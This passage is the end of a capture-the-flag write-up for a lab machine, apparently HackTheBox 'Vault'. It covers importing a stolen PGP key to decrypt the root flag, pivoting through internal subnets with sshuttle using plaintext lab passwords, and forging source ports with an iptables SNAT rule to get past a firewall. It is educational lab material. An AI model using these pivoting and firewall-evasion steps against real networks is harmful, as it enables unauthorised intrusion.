QP3ejwFeGSMgxkzFKzplRyDtnmdqZzwnRNVoZmzbCDilqSw9IN8getJwUJ2GgAEO
egr3eKLMABDSe3EsZd728qsUQL6wUNj0qxBqYo/kIFpL8uxnlxwPLzAtGBaBfpHN
-------------8<-------------
-----END PGP PRIVATE KEY BLOCK-----

Then, we’ll copy the private key onto Vault using a here-doc.

dave@vault:~$ cat > key << EOF
> -----BEGIN PGP PRIVATE KEY BLOCK-----
> Version: GnuPG v1
> 
> lQdGBFtXNfsBEACizc1xK9qBXi2naRr4kzKls+SOPylOSq8yrOEMSPMQAwYcLckZ
> lU6iRjzbmyxm+u83ZPl2fnFYZxPdLgWa59AhZplyIK23jv+FIaSUkg77edDFUKA7
-------------8<-------------
> 2Nzqs6S1S7p1p49iMbtbKXiorUHYvHWXv7BMk40sAvuaZKDC/sme5lZv54TOWJat
> K/JK1DLqJFbgfVibegDR9f6WV+dc8NI=
> =cDCf
> -----END PGP PRIVATE KEY BLOCK-----
> EOF

After that, we need to import the key on Vault.

dave@vault:~$ gpg --allow-secret-key-import --import key
gpg: key 0FDFBFE4: secret key imported
gpg: key 0FDFBFE4: public key "david <dave@david.com>" imported
gpg: Total number processed: 1
gpg:               imported: 1  (RSA: 1)
gpg:       secret keys read: 1
gpg:   secret keys imported: 1

Finally, we’re ready to decrypt the file using gpg.

dave@vault:~$ gpg -d root.txt.gpg 
-------------8<-------------

\o/ - access level: root.txt read

For Funsies

sshuttle

This write-up covered the manual way of setting up tunnels and getting traffic where it needs to go. It’s incredibly beneficial to understand how to do that without specialized tools. However, it’s also nice to see how easy a task can be with a good tool. sshuttle is described by its creator as a “transparent proxy server that works as a poor man’s VPN. Forwards over ssh. Doesn’t require admin. Works with Linux and MacOS. Supports DNS tunneling.” Let’s see sshuttle in action!

Before we get started, we need to install sshuttle.

apt-get install sshuttle

With that complete, let’s set up the equivalent of our SOCKS proxy and forward tunnel. The command below blocks, meaning we must execute subsequent commands in separate terminals.

sshuttle -r dave@10.10.10.109 192.168.122.0/24
══════════════════════════════════════════════

dave@10.10.10.109's password: Dav3therav3123
client: Connected.
sshuttle options used:

    -r
        The remote hostname and optional username and ssh port number to use for connecting to the remote server.
    SUBNET
        A list of subnets to route over the VPN, in the form a.b.c.d[/width][port[-port]].

That’s it! After running the command above, we can browse directly to the website on 192.168.122.4 (without the use of burp or foxyproxy). We can also reach out and ssh directly to 192.168.122.4.

Next, we can set up sshuttle to route to Vault’s network.

sshuttle -r dave@192.168.122.4 192.168.5.0/24
═════════════════════════════════════════════

dave@192.168.122.4's password: dav3gerous567
client: Connected.

Now we can reach out and talk to Vault’s ssh server directly from kali. Our only issue now is that we still need to hit Vault’s ssh server using a source port of 53 or 4444. We can solve this problem without using netcat. We’ll log in to DNS and create an iptables rule that transforms our real source port to one of our choosing.

First, from kali, we can now directly ssh to DNS.

ssh dave@192.168.122.4
dave@192.168.122.4's password: dav3gerous567
-------------8<-------------

After that, we’ll set up our iptables rule.

sudo iptables -t nat -A POSTROUTING -p tcp --dport 987 -j SNAT --to-source :4444

The rule above essentially says anytime you see a packet come through that’s TCP and has a destination port of 987, change the source port to be 4444. With this rule in place, we can ssh directly to Vault from kali. scp directly from kali is an option to grab the root.txt.gpg file as well.

┌(kail)─(✗)─(06:58 PM Wed Mar 20)
└─(vault)─> ssh dave@192.168.5.2 -p 987
dave@192.168.5.2's password: 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686)

-------------8<-------------

Last login: Mon Sep  3 16:48:00 2018
dave@vault:~$ 

The rule above affects other players, so let’s be courteous and remove it.

sudo iptables -t nat -D POSTROUTING 1

sshuttle does a ton of the heavy lifting for us; it’s certainly a helpful tool to know.

I hope you enjoyed this write-up or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.

epi-htb-badge

Additional Resources

  1. recursive-gobuster
  2. cewl
  3. valid php file extensions
  4. Unrestricted File Upload
  5. File Upload Restrictions Bypass
  6. ShellPop
  7. Reverse Shell from an OpenVPN Configuration File
  8. sshuttle

comments powered by Disqus